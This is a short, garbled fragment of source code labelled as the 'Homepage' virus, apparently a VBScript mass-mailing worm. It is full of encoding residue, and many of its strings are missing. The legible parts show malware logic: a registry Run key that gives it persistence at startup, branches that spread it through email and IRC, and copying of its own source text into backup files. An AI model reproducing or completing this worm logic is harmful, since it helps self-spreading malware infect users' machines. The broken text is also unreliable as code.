Code virus Homepage : 'Homepage Created By Robinhood Set FSO =3D createobject("") dirsystem =3D (1) Path=3D dirsystem & "" Set WSH createobject("") "HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunWin32dll", " " & Path& " %" , Path payload=20 If = ("HKLMSOFTWAREMicrosoftWindowsCurrentVersionHomepageSend mail") 1 then sendmail End if If ("HKLMSOFTWAREMicrosoftWindowsCurrentVersionHomepageIRC" ) 1 then IRC "" End if Set sourcefile=3D () sourcetext Do if not(()) then set filebackup=3D () sourcetext end if ("HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunWin32dll" ) If s " " & Path& " %" then WSH. .
